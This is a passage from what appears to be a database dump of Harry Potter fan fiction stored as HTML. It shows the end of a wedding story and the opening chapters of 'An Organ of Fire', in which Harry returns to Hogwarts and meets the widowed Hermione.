smiled.\n&#8220;You&#8217;ve brought the rings. Thank you very much.&#8221; She bent down and kissed Karen\non her forehead. Karen&#8217;s nervousness banished in a flash. &#8220;You remind me of\nmyself when I was your age,&#8221; said Hermione. &#8220;Go downstairs and join the\nguests.&#8221;<br>\n<br>\nKaren smiled and left the Gryffindor Common Room. She eventually made to the\nGreat Hall and found her seat. But she received a large shock when she saw the\ngroom standing at the altar. It was the green-eyed man! For the first time, she\nnoticed the lightning-bolt shaped scar on his forehead. With a start, Karen\nrealized that the man who had saved her from the chaos last night was none\nother than Harry Potter!<br>\n<br>\nHarry caught sight of her and waved. Karen could do nothing more than wave\nback.<br>\n<br>\n* * * * * * * * * * *<br>\n<br>\nThe wedding soon started. The crowd gasped at Hermione&#8217;s beauty as her father\nled her down the aisle to where Harry was standing. The Minister began\nspeaking.<br>\n<br>\n&#8220;Do you, Harry James Potter, take this woman to be you lawfully wedded wife? To\nlove and to cherish through rich or poor, health and sickness till death do you\npart?&#8221;<br>\n<br>\n&#8220;I do.&#8221;<br>\n<br>\n&#8220;Do you, Hermione Anne Granger, take this man to be your lawfully wedded\nhusband? To love and to cherish through rich or poor, health and sickness till\ndeath do you part?&#8221;<br>\n<br>\n&#8220;I do.&#8221;<br>\n<br>\n&#8220;I now pronounce you man and wife. You may kiss the bride.&#8221; Harry and Hermione\nkissed passionately amidst the cheering of all the guests (except Snape and Malfoy). Malfoy had tried to jeer &#8220;mudblood&#8221;\nbut was met with another electric shock.<br>\n<br>\nHarry and Hermione made their way out of the castle amidst the congratulations,\ncheers, whistles, and rice being thrown. They got onto Harry&#8217;s Firebolt outside that had a sign that read &#8220;Just Married&#8221;.\nAs they took off, Hermione threw her bouquet. Karen jumped up and caught it.<br>\n<br>\nThe End<br>\n<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(93, 1, 'Disclaimer:  Harry Potter and company do not belong to me and I am making no money off of this fic.  I promise.  Cross my heart and hope to die.<br><br>Author\'s Notes:  This is my first Harry Potter fic...be gentle; it\'s my first time.  I just started reading the series, couldn\'t put it down, in fact.  I simply fell in love with J.K. Rowling\'s world.  I hope this story lives up to it.<br><br>Dedication:  To my Ravenclaw brother, Hufflepuff mother, fellow Gryffindor friends and Slytherin cousin.  Thank you for being &quot;Pot-heads&quot; with me.  And to Alan-san, for declaring &quot;holy mother of god that\'s a huge book&quot; in front of my entire Japanese class while I was reading &quot;Goblet of Fire&quot;, thus alerting them to the fact that a 21 year old English major is totally hooked on Harry Potter.<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>The owl swooped through the open cottage window and landed with an impressive show of wings on the windowsill.  It cooed once and then twice, trying to alert the cottage\'s only occupant as to its presence and the piece of parchment tied to its leg.<br><br>But the man seated at the tiny table, watching the cheerful fire he had conjured up only minutes earlier, did not look up at the owl.  &quot;You can go back to your owner,&quot; he said in a low voice.  &quot;I do not wish to hear from anyone.&quot;  <br><br>Tilting its head to the side, the owl continued to watch the man, but made no motion to fly off into the night sky.  <br><br>&quot;Did you hear me?&quot;  The man finally swung his head over to see the bird on his windowsill.  &quot;I said...&quot;  He trailed off.  &quot;Hedwig?&quot;<br><br>The stark white owl cooed in response.  Spreading her wings, she took off and flew the short distance to the man\'s shoulder.  Once she landed, she nipped the man\'s ear affectionately and lifted the leg onto which the parchment paper was tied.  <br><br>&quot;I was serious,&quot; the man said, almost regretfully.  &quot;Go back to whoever sent you, Hedwig.&quot;<br><br>She bleated loudly.  Her claws dug into his shoulder, refusing to let go.<br><br>He sighed in defeat.  With shaky fingers, he untied the letter from the owl\'s leg and spread it open.  After a moment, he began to read.<br><br>*<br><br>Dear Mr. Potter,<br><br>We at Hogwarts find ourselves in a bit of a quandary.  As the new school year approaches, we are sad to lose, yet again, our current professor in the subject of Defense Against the Dark Arts.  Having the experience in this field that we know you do, we wish to extend you a heartfelt invitation to return to England and take over this position.  We can discuss such things as salary and contracts upon your return.  Do please consider our offer.  There is a great deal of good to be done.<br><br>Sincerely, <br><br>Minerva McGonagall<br><br>Deputy Headmistress and Professor at Hogwarts School of Witchcraft and Wizardry<br><br>PS:  It is time to come home, Harry.  <br><br>*<br><br>There was a long moment wherein only the crackle of the fire could be heard throughout the cottage.  Hedwig preened her feathers as her former owner read and re-read the letter.  After she had given him sufficient time, the owl lifted her head and looked at him expectantly.<br><br>&quot;I can\'t go back there,&quot; Harry told her flatly.  &quot;It\'s been too long.&quot;<br><br>Hedwig continued to stare at him, without blinking.<br><br>&quot;I left because I didn\'t want this, you know.&quot;  He stood up and began pacing across the floor in front of the hearth.  &quot;Don\'t you understand?  I left all of this behind.&quot;<br><br>The owl tipped her head to the side again, studying him with beady eyes.<br><br>&quot;Was that wrong of me, Hedwig?  Thoughtless?  Selfish?&quot;  Harry closed his eyes for a minute.  &quot;If I go back, I\'ll just muck up their lives.&quot;  Hedwig cooed, reassuringly.  Suddenly, he smiled.  It was the first time he had done so in years.  He realized that he had made up his mind about this day a long time ago.  &quot;I expect they\'ll want an answer straight away?&quot;  The owl stepped off his shoulder and swooped over to his long forgotten writing desk.  <br><br>He walked to it and sat down.  The quill was dusty and the ink needed a bit of water, but within a few minutes, he had begun to write.  <br><br>*<br><br>Dear Professor McGonagall,<br><br>Ten years isn\'t so terribly long unless you look back on it with regret.  That being said, I take into consideration every year and every lamentation when I say, with as little hesitancy as possible, that I wish to accept the offered position at Hogwarts.  I will arrive sometime next week to make the necessary arrangements.  <br><br>Thank you.<br><br>Harry Potter<br><br>PS:  Please do not tell anyone that I am coming.  Most especially Mr. and Mrs. Ronald Weasley.<br><br>*<br><br>After the ink dried, Harry carefully secured the letter to Hedwig\'s leg and held out his hand for her to step upon.  He crossed back to the window and looked up at the star-sprinkled sky.  If Hedwig flew all night, she should reach Hogwarts by their nightfall.  &quot;I\'ll see you soon,&quot; he told his old friend.  She let out a cry and flew off, a spot of white against the formidable darkness, leaving Harry no time to regret his decision.  <br><br>All he could do was begin to pack.  <br><br>****<br><br>&quot;Professor?  Professor?&quot;  The words pierced through the light fog around the slender woman\'s dozing mind.  &quot;Professor?&quot;  She squeezed her eyes shut, in a fruitless attempt to stay within her dreams.  <br><br>&quot;\'ERMIONE!!&quot;<br><br>She jolted awake.  &quot;What?  What\'s wrong?&quot;<br><br>Rubeus Hagrid loomed over her work table, a look that was equal parts concern and exasperation on his rugged, bearded features.  &quot;Pleasant nap there, Professor?&quot;<br><br>Hermione rubbed the sleep out of her eyes.  &quot;I didn\'t mean to doze off....I suppose you\'re going to lecture me on late nights and early mornings, Hagrid?&quot;<br><br>&quot;No such lecture,&quot; he promised.  &quot;Just a wee message from Professor McGonagall.&quot;<br><br>&quot;A message?  What does she want?&quot;<br><br>Hagrid took a deep breath.  &quot;Yer might want to be sittin\' fer this one.&quot;<br><br>She gave him a half-smile.  &quot;I am sitting down.&quot;<br><br>&quot;Well then...I best be sittin\' down.&quot;  With a great creak from the aged wood, he sat down next to her.  They were alone in the library; summer at Hogwarts was a quiet and often lonely time of year.  Still, it afforded Hermione, the notorious bookworm, a chance to commune in peace with the literature of the greatest school of magic in the world.  <br><br>&quot;Go on, Hagrid.&quot;  <br><br>After another deep breath, he let the news come out.  &quot;I shouldn\'t be tellin\' yer as much as I am, mind yer.  I was only supposed to tell yer that ye\'ll be needin\' ter fetch the new Defense professor from \'ogsmeade today.&quot;  He paused and looked blankly at the books surrounding them.<br><br>&quot;But...&quot; she prompted.<br><br>&quot;But...&quot;  He scratched his beard.  &quot;I don\'t think it\'d be fair ter send yer there not knowing who ye\'ll be fetchin\' afore\'and.&quot;<br><br>Hermione\'s smooth forehead crinkled in puzzlement.  &quot;The new professor won\'t be arriving on the Express?&quot;<br><br>&quot;No.  Not this one.&quot;  Hagrid\'s hands dropped to his lap.  &quot;Professor...&quot;  He switched back to a less formal tone.  &quot;Er...\'ermione...it\'s \'arry.&quot;<br><br>Her throat closed up.  A sudden chill swept the room though no door or window was open.  At the mere sound of his name, Hermione\'s entire body became quite stiff.  &quot;Harry,&quot; she repeated in a near whisper.  &quot;Harry\'s....coming back?&quot;<br><br>Hagrid watched her reactions closely, afraid of what the news might do to her.  After all she had been through in the past year, the last thing he wanted to see was her in anymore agony or heartache.  He knew, all too well, what she had suffered when Harry Potter had disappeared from their lives ten years earlier.<br><br>How would she take his sudden return to the world?<br><br>&quot;Does he know, Hagrid?  Has he been told about...&quot;<br><br>&quot;No,&quot; Hagrid replied quickly.  &quot;As fer as I know, he don\'t.&quot;<br><br>Hermione\'s hands trembled.  She tucked them into her dark blue robes for warmth.  But they were not shaking from cold.  &quot;I suppose it\'ll be up to me to tell him then.  In person.&quot;<br><br>&quot;I\'m thinkin\' it might be best thet way.&quot;<br><br>She seemed to be recovering a bit.  But Hagrid didn\'t have to have known her for as long as he had to recognize that she was far from fine.  She had been far from fine for far too long, in his opinion.  Hermione cleared her throat.  &quot;This afternoon, you said?  In Hogsmeade?&quot;<br><br>&quot;Aye.  Should be Appartin\' in \'round three or so, Professor McGonagall suspects.&quot;  Hagrid watched her for another second.  &quot;Yer sure yer up ter it?&quot;<br><br>&quot;I\'m up to it,&quot; she promised.  Her expression darkened.  &quot;Of course....that\'s only one of the things I\'ll have to tell him if he\'s going to be living and working here.  With us.&quot;<br><br>Hagrid nodded.  &quot;Secret\'s been kept long enough.  Time fer the truth.&quot;<br><br>Hermione stood up, stretched delicately and began to close up her books.  &quot;I had better hurry if I\'m to make it there by three.&quot;  She gathered up her work.  &quot;Hagrid, will you keep an eye on...&quot;<br><br>&quot;Surely,&quot; he agreed easily.  Before she could walk away, he caught her wrist in a gentle grip.  &quot;It\'s fine if yer not all righ\' with all er this.  Yer don\'t have ter be playin\' the part fer me, \'ermione.&quot;<br><br>She gave him a weak smile.  &quot;Of course I\'m all right with all of this.  Harry Potter is returning to Hogwarts.  We should all be happy.  If you\'ll excuse me, Hagrid.&quot;  She eased out his grip.  &quot;I have something to do before I leave for Hogsmeade.&quot;<br><br>Hagrid\'s sad eyes followed her out of the library.  &quot;Yer may be all right on the outside, missy.  But on the inside...yer still a bloody wreck.&quot;<br><br>****<br><br>A cold wind coming off the water blew Hermione\'s hair around her face.  She made no attempt to keep it in check, having foregone with her usual severe bun.  She never wore her hair up when she went to visit him; he had liked it down, bushy and untamed.  Funny since at one time, he had teased her for its wildness.  <br><br>As she approached the edge of the cliff, she could hear the lake churning and crashing below.  Behind her, the gothic grandness of Hogwarts towered, a comforting, if somewhat intimidating presence.  She almost resented its intrusion.  At the moment, she wished to be alone with her husband.  <br><br>The lone grave sat at the spot where the green grass gave way to gray rock.  The marble marker was simple and classically cut, bearing only a name and two dates.  Hermione knelt on the cold grass in front of the grave.  With a small wave of her ever present wand, a single red rose materialized on the grave\'s gentle slope.  <br><br>&quot;Harry is coming back.&quot;  The wind threatened to carry her voice away.  She spoke louder, as though the grave\'s occupant could hear her.  &quot;He is going to teach Defense Against the Dark Arts.&quot;  She closed her eyes.  &quot;I suppose he\'s the most qualified person in the world to teach it.&quot;<br><br>The grave was silent, but comforting.  <br><br>Hermione let out a pent-up breath.  &quot;I\'m going to tell him, Ron.  I know he must know about us....although I doubt he knows that you\'re....that you\'re not here anymore.&quot;  A single tear danced down her cheek.  &quot;But I\'m going to tell him about...everything.  He has a right to know.  They both do.&quot;  She opened her eyes again.  &quot;Do you think that\'s the right thing to do, Ron?&quot;<br><br>Again there was reassuring silence.<br><br>&quot;I miss you so much,&quot; she whispered.  &quot;I wish you were right here.  We\'d be a team again.  The Three Musketeers.  Or Stooges, depending upon how you look at it.&quot;  Hermione smiled and touched her husband\'s grave lovingly.  &quot;I\'m going to go now.&quot;  She stood up and looked at the stormy sky.  &quot;Wish me luck.&quot;<br><br>****<br><br>The town of Hogsmeade wasn\'t only unique in that it was the only one in England entirely inhabited by wizards and witches.  After Harry had Apparated into the main square and begun re-familiarizing himself with the place in which he had spent so many happy, youthful moments, he was amused to realize that it was the only place in all the places he had been in ten years where you could find Weasleys\' Wizard Wheezes.<br><br>Honeydukes Sweetshop had not changed a bit in all the time Harry had been away, except that now, amongst all the boxes of Bertie Bott\'s Every Flavor Beans and the Chocolate Frogs, there were mounds of tempting-looking candies bearing the Weasley name.  However, Harry thought as he fingered a Ton-Tongue Toffee, one would have to be crazy to buy the treats for themselves if they knew the candies\' true nature beforehand.  <br><br>And he should know.  Unbeknownst to most people, Harry had been a silent partner in company ever since his days at Hogwarts.  Ever since he had won the Triwizard Tournament and given the thousand Galleon prize to the Weasley twins to start their business.  No one knew he had done that.  Not even the twins\' brother, his oldest friend, Ron.  <br><br>Harry\'s hand involuntarily closed around a Chocolate Frog package.  The thought of Ron Weasley still had a powerful, dangerous effect on him.  Instantly, he chastised himself and released the package from his tight grip.  Nothing that had happened in the ten years since they had parted ways at Hogwarts graduation had been Ron\'s fault.  He had left the school, left the community, left the country...left her, and Ron had been the one to stay behind.<br><br>No, all of Harry\'s regrets were his own cross to bear.  He could not blame Ron for being happy.  Happy with her.  When the twins had let it slip that their brother had gotten married, it was just one more lamentation onto the pile that had started to accumulate on the day he left for points unknown.  That was the last piece of news he had let slip through about her and Ron.  Anything else, he had decided, would be too much to bear.<br><br>&quot;So why,&quot; he asked himself softly.  &quot;Are you here at all?&quot;<br><br>A sudden tap on his shoulder pulled him out of his reverie.  A young girl, perhaps no more older than a fourth year student at Hogwarts, peered up at him with blatant wonder and curiosity on her pretty features.  &quot;Excuse me, sir,&quot; she addressed him.  &quot;But are you...Harry Potter?&quot;<br><br>Memory upon memory came flooding back to him, a wave of bittersweet nostalgia.  How long had he gone without being recognized?  He had moved about the Muggle world for ten years with the anonymity of a house fly, but now, back in the wizard world, he was once again Harry Potter.  The Boy Who Lived.<br><br>Before he could answer the young girl, someone grabbed his arm.  An older man, as old as his parents would have been had they lived.  &quot;Gizzard\'s beard...you *are* Harry Potter!&quot;  A broad smile appeared on his face.  &quot;Everyone!&quot; he called out.  &quot;Look!  It\'s Harry Potter!&quot;<br><br>A buzz sprung up around the store.  He was surrounded by whispers and stares, pointing fingers and curious stares.  The walls were closing in again.  Harry Potter was trapped by the simple act of being Harry Potter.<br><br>&quot;....see, Mummy?  It\'s him!&quot;<br><br>&quot;It\'s been years, simply years...&quot;<br><br>&quot;...looks a good bit older, don\'t he?  Still the same Harry....&quot;<br><br>&quot;Why do you suppose he\'s come back?  It\'s not anything to do with You-Know...&quot;<br><br>&quot;....heard he\'s been asked to teach at the school.  Charms, I think.  Or maybe Potions.&quot;<br><br>&quot;But is it really him?  I can\'t see his scar...&quot;<br><br>&quot;....is it truly...&quot;<br><br>&quot;Can it really be....&quot;<br><br>&quot;Harry.&quot;  <br><br>The last voice, so precise and yet so sweet, was achingly familiar.  Harry slowly turned around to see its owner as she made her way through the now-quiet crowd.  Hermione Granger....Hermione Weasley, he corrected himself, stopped just in front of him.  Her arms were folded lightly across the bright blue cotton of her robes.  Besides the tightness of her lips, ten years had been nothing but good to her. <br><br>Swallowing back a thick lump that suddenly formed in his throat, he managed to get out her name.  &quot;Hermione.&quot;<br><br>Her eyes were strangely haunted.  So large, but so very nearly empty.  She spoke again, in a voice he had never heard.  &quot;Welcome home, Harry.&quot;<br><br>****<br><br>To Be Continued'),
	(93, 2, 'Disclaimer: I wish I had half the imagination it took to create this world. As I don\'t, not much belongs to me.<br><br>Author\'s Notes: A very large &quot;thank you&quot; to everyone who reviewed the first part. I\'m glad you liked it and I hope I don\'t disappoint you with the rest of the story.<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;The heart is an organ of fire.&quot; -The English Patient<br><br>****<br><br>The short carriage ride to Hogwarts from Hogsmeade began in unbearable silence. Harry stared out at the familiar scenery, lost in the beauty of the countryside, lest he get lost in the woman seated across from him. She had spoken no more words than were necessary to get him and his belongings onto the Hogwarts Express. Yet, she had been watching him out of the corner of her eye ever since. Mustering up all of his courage, Harry opened his mouth.<br><br>&quot;How is...&quot;<br><br>She started at the same time. &quot;Why have you....&quot; They both stopped. Harry nodded, indicating that Hermione should go on. She took a breath. &quot;Why have you come back, Harry?&quot;<br><br>It was the one question he could barely answer for himself, much less for her. Almost without thinking, he reached up to rub the lightning shaped scar, his only reminder of the day his parents had died for him. &quot;I can\'t answer that anymore than you can explain why you\'ve never left,&quot; he replied. Before he could stop himself, he continued. &quot;Or why you married him.&quot;<br><br>Her back stiffened. Harry didn\'t seem to notice her lower lip trembling. &quot;I\'ve not left because my life is here. I have a job I love, people I care for...I don\'t want to leave. I haven\'t ever wanted to leave.&quot; She sank deeper into her seat. &quot;You were the restless one, Harry. Not me. And not him, either.&quot;<br><br>&quot;Ron wanted to see the world,&quot; Harry commented. He turned an intense emerald gaze on her. &quot;Does he still? Or does he enjoy the stable home life?&quot;<br><br>&quot;I wouldn\'t know. He died last year.&quot;<br><br>The words hung in the air between them. Sometime during the silence, Harry forgot to keep breathing. He had to remind himself. **Breathe in, breathe out. Breathe in, Ron is dead. Breathe out, your best friend is gone.**<br><br>Hermione bit her lip. &quot;I\'m sorry. I didn\'t mean to tell you like that.&quot;<br><br>His mouth was painfully dry, odd since his eyes were wet. &quot;How did he...? Why is he...?&quot; Unable to get the questions out, Harry turned his tearful stare onto Hermione. &quot;Why didn\'t anyone tell me before?&quot;<br><br>&quot;Do you think that we didn\'t try?&quot; Her stare was equally teary and just as hard. &quot;I cannot count the number of owls I have sent to you in ten years, Harry. Every single one of them returned, without the letters having been so much as touched. If not for Hedwig coming back, we would have had no sure way of getting you to reply...ever.&quot;<br><br>Harry\'s stomach ached with grief. It was all he could do to maintain control of his emotions. &quot;If I had known....I would have come. Even if only to say goodbye...&quot; He closed his eyes. &quot;Did he go quickly or was it expected?&quot;<br><br>&quot;Quickly,&quot; Hermione replied in a softer tone. She wiped her cheeks. &quot;It was an accident. We were pretending to be Muggles for a day. Some scaffolding on the street collapsed. He pushed us out of the way and tried to stop it, but he didn\'t have his wand...&quot; She trailed off. &quot;It was an accident.&quot;<br><br>Harry refrained from saying anything further, but something about her story nagged at him. &quot;\'Us\'?&quot; he repeated. &quot;Who was with you?&quot;<br><br>Skillfully dodging his question, Hermione sat up straighter. &quot;There\'s the station up ahead.&quot;<br><br>&quot;Hermione...&quot;<br><br>&quot;I should probably tell you a few things before we get there,&quot; she rambled on, ignoring him. &quot;First of all, yes, Dumbledore is still in charge, thank goodness. And of course, Hagrid still tends the grounds and teaches Care of Magical Creatures.&quot;<br><br>Harry allowed himself a small smile at that. &quot;What does he have in store for the students this year?&quot;<br><br>She adjusted her robes nervously. &quot;I believe it\'s Colsamkisk Skeets. Either that or Fiji mermaids. All I\'ve seen is a lot of water being pulled from the lake.&quot; The carriage lurched to a stop and they stood up to collect Harry\'s few bags. &quot;Before you ask, yes, Snape is still teaching Potions. Don\'t worry, he won\'t be after your job. He tried Defense for about five years, before realizing that Potions was his true calling in life. Nothing gives that man more pleasure than coming up with new ways to poison people.&quot; <br><br>He followed her, stepping down from the carriage only seconds after she had.  &quot;Hermione, you haven\'t told me what you\'re teaching. You are a professor, are you not?&quot; She nodded. &quot;Don\'t tell me; let me guess. Transfiguration.&quot;<br><br>&quot;Of course not.&quot; Hermione rolled her eyes. &quot;McGonagall will have that position until she becomes one of the ghosts.&quot;<br><br>&quot;All right then.&quot; He thought hard. Anything was better than thinking about Ron. &quot;Charms?&quot; She shook her head. &quot;Arithmancy?&quot;<br><br>Despite herself, she smiled. &quot;Think really hard, Harry.&quot;<br><br>&quot;I\'ve got it,&quot; he announced a moment later. &quot;Divination.&quot;<br><br>She rolled her eyes. &quot;The History of Magic.&quot; <br><br>Harry gave her a look. &quot;What about...&quot;<br><br>&quot;Even ghosts retire eventually.&quot;<br><br>Harry looked up at the towers for the first time in ten years. They were as impressive as they had been when he had seen them from across the lake on the first night of his first year at Hogwarts. It was nice to know that no matter what else changed in his life, this place would always, always be the same. &quot;What did Ron teach?&quot; he asked her, quietly. <br><br>&quot;He didn\'t.&quot; Without bothering to wait for Harry, Hermione started for the port trellis entrance. &quot;He was an Auror.&quot;<br><br>****<br><br>Throughout seven years spent at Hogwarts as a student, Harry had never once stopped to consider where the Professors resided during the school year, much less during the summer. Although he had been in all of their offices at one time or another, the idea of them having rooms or apartments within the castle was one he had never pondered. So the part of the castle Hermione was leading him through was completely unfamiliar. It seemed, as far as he could guess, to be a good distance away from the dormitories. The hallways and corridors on this side were still extremely similar to the ones he had practically grown up in. The paintings aligning the walls called out to him as he passed, waving and winking.<br><br>Hermione ignored them all until they reached a particularly large portrait of an elegant woman from what looked to be the early-nineteenth century. She put a hand on the hip of her empire gown as they stopped in front of her. &quot;I have a few words to say to you,&quot; she addressed Hermione in a haughty voice.<br><br>&quot;Oh, do you, Miss Belle?&quot; Hermione crossed her arms. &quot;And what insight do you have today?&quot;<br><br>&quot;You know what I\'m talking about. Him.&quot; She said the word with such loathing that Harry recoiled slightly. Miss Belle looked at him. &quot;Oh, not you, sir.&quot; She gave him a dazzling smile. &quot;Not you, Harry Potter.&quot; Her hard gaze turned back to Hermione. &quot;She knows of whom I speak. He was running up and down the corridors again, scaring everyone to death. I do not stand here for my health nor to be opened and shut, opened and shut again at the whim of a...&quot;<br><br>Hermione cut her off quickly. &quot;White oleander.&quot; When the password was spoken, the noble woman closed her mouth and the portrait door swung open revealing a longer, wider and even more richly furnished hallway. &quot;These are the Professors\' apartments,&quot; she explained to him as they started down it. &quot;Everyone except Hagrid lives here; he still prefers to stay on the grounds.&quot;<br><br>Harry\'s head still hurt, a low throbbing in the base of his neck that had appeared the moment he learned of Ron\'s death. Everything was so overwhelming. It felt as though he were trying to catch up on ten years in the space of ten minutes, which, he supposed, was exactly what he was doing. He had no wish to learn anything more at the moment, but his curiosity had been mounting. <br><br>&quot;Hermione...who was the portrait woman talking about?&quot;<br><br>Once more, she chose to ignore him. &quot;Here we are. This is where you\'ll be staying.&quot; She handed him a large, wrought iron key. &quot;Go on in. Your bags are already there.&quot;<br><br>Harry let himself into his new home with only a shade of hesitancy. As soon as he entered, he relaxed. The first room looked much like the Gryffindor common room. Comfortable chairs and couches, a roaring fire and a staircase that he assumed led to his bedroom. He looked around for a long minute. Hermione watched him carefully. <br><br>&quot;Shall I give you a moment?&quot; she asked. <br><br>He shook his head, dark locks swung across his scarred forehead. &quot;Where do you live?&quot;<br><br>&quot;Just down the hall.&quot; Harry waited for the invitation, but it did not come. Instead, she cleared her throat. &quot;Come on, then. We\'re expected at a staff meeting before supper.&quot; She left no room for questions. <br><br>Although Harry suspected she had plenty of answers.<br><br>**** <br><br>Harry was flooded with disappointment as he entered the eerily empty Great Hall. All of the Professors, some he recognized, some he did not, had gathered there, but Professor Dumbledore was not amongst them. Hermione left his side before he could ask where the beloved wizard was; she seemed to be headed for....Hagrid. <br><br>Hagrid. Harry smiled broadly. There was no time for him to follow her to their old friend; he felt a hand on his shoulder and turned around suddenly. <br><br>Professor McGonagall looked back at him from behind her spectacles. &quot;I expect you\'ve already been properly welcomed back,&quot; she greeted him, warmly. <br><br>&quot;Well...let\'s just say I\'m here.&quot; Harry scratched his cheek. Somehow, he still felt like a first year student around his old teacher. &quot;Professor...&quot;<br><br>She held up her hand. &quot;It\'s Minerva when we\'re not around the students, Harry.&quot;<br><br>&quot;That\'s going to take a bit of getting used to.&quot; Blushing, he continued with his question. &quot;Where is Dumbledore?&quot;<br><br>&quot;He got called into a Ministry meeting in London,&quot; she replied. She studied him for another second. &quot;Harry...have you been told about...&quot;<br><br>&quot;Ron? Yes.&quot; His expression soured. &quot;She told me on the train.&quot;<br><br>Professor McGonagall lifted an aged eyebrow. &quot;She\'s been in a great deal of pain for the past year, Harry. If she seems cool, it\'s certainly understandable. To lose a husband so young...&quot;<br><br>He nodded. &quot;I still feel that there\'s something else, though. Something she\'s not telling me.&quot;<br><br>&quot;Well...&quot; She smiled nervously. &quot;Just remember that you\'ve been gone a long time.&quot; With those simple words, the Professor excused herself and started for the head of the hall. <br><br>Once again, he tried to make his way over to Hermione and Hagrid, who appeared to be deep in conversation, but he was again stopped. This time, it was Severus Snape in his way. <br><br>&quot;Mr. Potter,&quot; the older man said in a tone only he could produce. Harry braced himself for some sort of insult, very nearly forgetting that all animosity between him and his old teacher should be long gone. Snape surprised him by simply saying, &quot;Welcome back,&quot; before taking his seat. <br><br>He blinked. &quot;Thank you.&quot; His gaze drifted back over to Hagrid and Hermione. Why hadn\'t Hagrid come over to greet him? Just what were they talking about so intensely? He had no time to find out. Right then, Professor McGonagall rapped loudly on the head table and indicated for them all to take their seats. <br><br>&quot;Thank you all for coming tonight. I know you\'re very busy what with the new term beginning and the students arriving the day after tomorrow.&quot;<br><br>Harry\'s face became quite pale. Two days? How could he have forgotten when the terms began at Hogwarts? He began to panic. He would need lesson plans, book lists, a classroom....how could get all of that together in only two days? <br><br>McGonagall seemed to read his mind. &quot;I\'m sure you all know by now who our new Defense instructor shall be. Let\'s all give a warm welcome to Mr. Harry Potter.&quot; A round of light applause sprung up. Harry nodded in response; hopefully his panic was not evident on his face. &quot;Being new, *Professor* Potter is going to need a bit of help from all of us. I expect you all remember what your first terms were like.&quot; There was a wave of murmurs and looks of sympathy. <br><br>&quot;All right then,&quot; she continued. &quot;First order of business, new House assignments. I know this might come as a bit of a shock, but I am getting older and with my other duties, not to mention classes, I don\'t feel I will have time this year to head Gryffindor. Therefore, we will need to select a new Head for the House. Any volunteers?&quot;<br><br>Harry could feel all eyes swing to him. He scratched his cheek again; it was becoming a nervous habit. &quot;I...er...that is to say...&quot; he began.<br><br>&quot;I\'ll do it.&quot; Hermione\'s voice was clear throughout the hall. &quot;I was in Gryffindor, as well.&quot;<br><br>Professor McGonagall looked at her with much concern. &quot;Hermione, are you sure? It\'s a great responsibility, which isn\'t to say you\'re not up to it. But considering everything...&quot; She stopped, as though afraid she might be saying too much. &quot;I have an idea. Why don\'t you and Harry head Gryffindor together? It\'s a tad unorthodox, but we are a progressive school.&quot;<br><br>Harry\'s eyes darted to Hermione for her reaction. She seemed to be biting her tongue, holding back an objection. After a second, she gave a curt nod. McGonagall looked at Harry, expectantly. He, too, nodded. <br><br>&quot;Good. That\'s settled then. Now, next piece of business...&quot; McGonagall looked down at her notes before taking off her glasses. Harry recognized her serious voice. &quot;I know there have been rumors about the school council and a certain issue they are currently debating. I just want to reassure everyone that Dumbldore will never allow that plan to take effect. He\'d rather close the school first.&quot; <br><br>Harry glanced around. Was anyone else as confused as him? He caught Hermione\'s eye. She immediately looked away, but not before he caught something in the centers of her eyes. <br><br>Fear.<br><br>McGonagall replaced her glasses on the bridge of her nose. &quot;Moving on. Weekend trips to Hogsmeade. Should we begin to allow second years to go if they are in a group, accompanied by one of us? Severus, I believe you had something you wanted to say about that?&quot;<br><br>Snape stood and began to speak against the proposal. But Harry paid him no mind. His attention was focused entirely on Hermione, as though he could extract the answers to all his questions merely by staring at her long enough. To her credit, she ignored his stare with the same skills she had used to dodge his questions. <br><br>Sighing in defeat, Harry settled in for Snape\'s long diatribe.<br><br>****<br><br>After supper was finished and the few dishes magically cleaned, Hermione stood up from her table. Harry seemed to be occupied talking to Professor Flitwick. It seemed the perfect time to make her escape back to her apartments. <br><br>Hagrid looked at her; with her stand and him seated, his eyes were level with hers. &quot;Ye\'ll be goin\' then?&quot;<br><br>She nodded. &quot;I shouldn\'t have been gone this long. Mrs. Plumb is going to have my neck.&quot; On impulse, she kissed Hagrid\'s weathered cheek. &quot;Good night.&quot;<br><br>Careful to be unobtrusive, Hermione slipped out of the Great Hall and started off towards the apartments. She intended to go straight to hers, but she was stopped along the way by the apparition of Nearly Headless Nick, the resident Gryffindor ghost.<br><br>Hermione smiled politely. &quot;Good evening, Sir Nick. How are you?&quot;<br><br>&quot;Depressed,&quot; he announced dramatically. <br><br>&quot;You don\'t have to explain. The people who run the hunt are being very unfair to you, Nick,&quot; she sympathized. &quot;If it makes you feel any better, you\'ll always be completely headless to me.&quot;<br><br>The ghost grinned. &quot;Thank you very much, Professor Weasley.&quot; His voice dropped. &quot;Is it true that Harry Potter has returned? And that you and he will be Head of the House this year?&quot;<br><br>&quot;The walls have ears,&quot; Hermione sighed. &quot;Yes, it\'s all true.&quot;<br><br>Nick laughed delightedly. &quot;Finally! Perhaps he can wipe away that frown on your face.&quot;<br><br>She crossed her arms. &quot;Any frown on my face is well deserved. And I don\'t think it\'s your place to...&quot;<br><br>&quot;Hogwash!&quot; Nick declared. &quot;There\'s been too much sadness around here! Harry Potter comes back...&quot; He began to fade. &quot;...and the sun shines once more.&quot;<br><br>As soon as Nick was gone, Hermione narrowed her eyes. &quot;Harry Potter comes back and everyone forgets that he left in the first place.&quot;<br><br>When she reached the portrait door, she quickly spoke the password before Miss Belle could begin another lecture. The door opened; she stepped in and came face to face with the Boy Who Lived. <br><br>&quot;Why are you avoiding me?&quot; Harry asked, without greeting or ceremony. <br><br>Hermione rolled her eyes. &quot;As ever, it\'s all about you, isn\'t it?&quot; She walked past him. <br><br>&quot;Just what does that mean?&quot;<br><br>&quot;Never mind, Harry. If you don\'t get it by now, you never will.&quot; <br><br>Harry followed her closely, a bit too closely for her comfort. &quot;I\'m trying very hard here, Hermione. I just learned that my best friend on this earth died a year ago and while everyone else may be healed or healing, I\'m still processing it! But I can\'t, not really, because I have to prepare for seven levels of classes that begin the day after tomorrow.&quot; He ran a hand through his hair. &quot;And then there\'s you.&quot;<br><br>She turned on him. &quot;What about me?&quot;<br><br>&quot;I don\'t know!&quot; Harry lifted his shoulders. &quot;I feel like I should be apologizing every time I see you! And there\'s something big...something you\'re trying to keep from me.&quot;<br><br>Hermione sniffed. &quot;I can put the past in the past, Harry. You have nothing to apologize 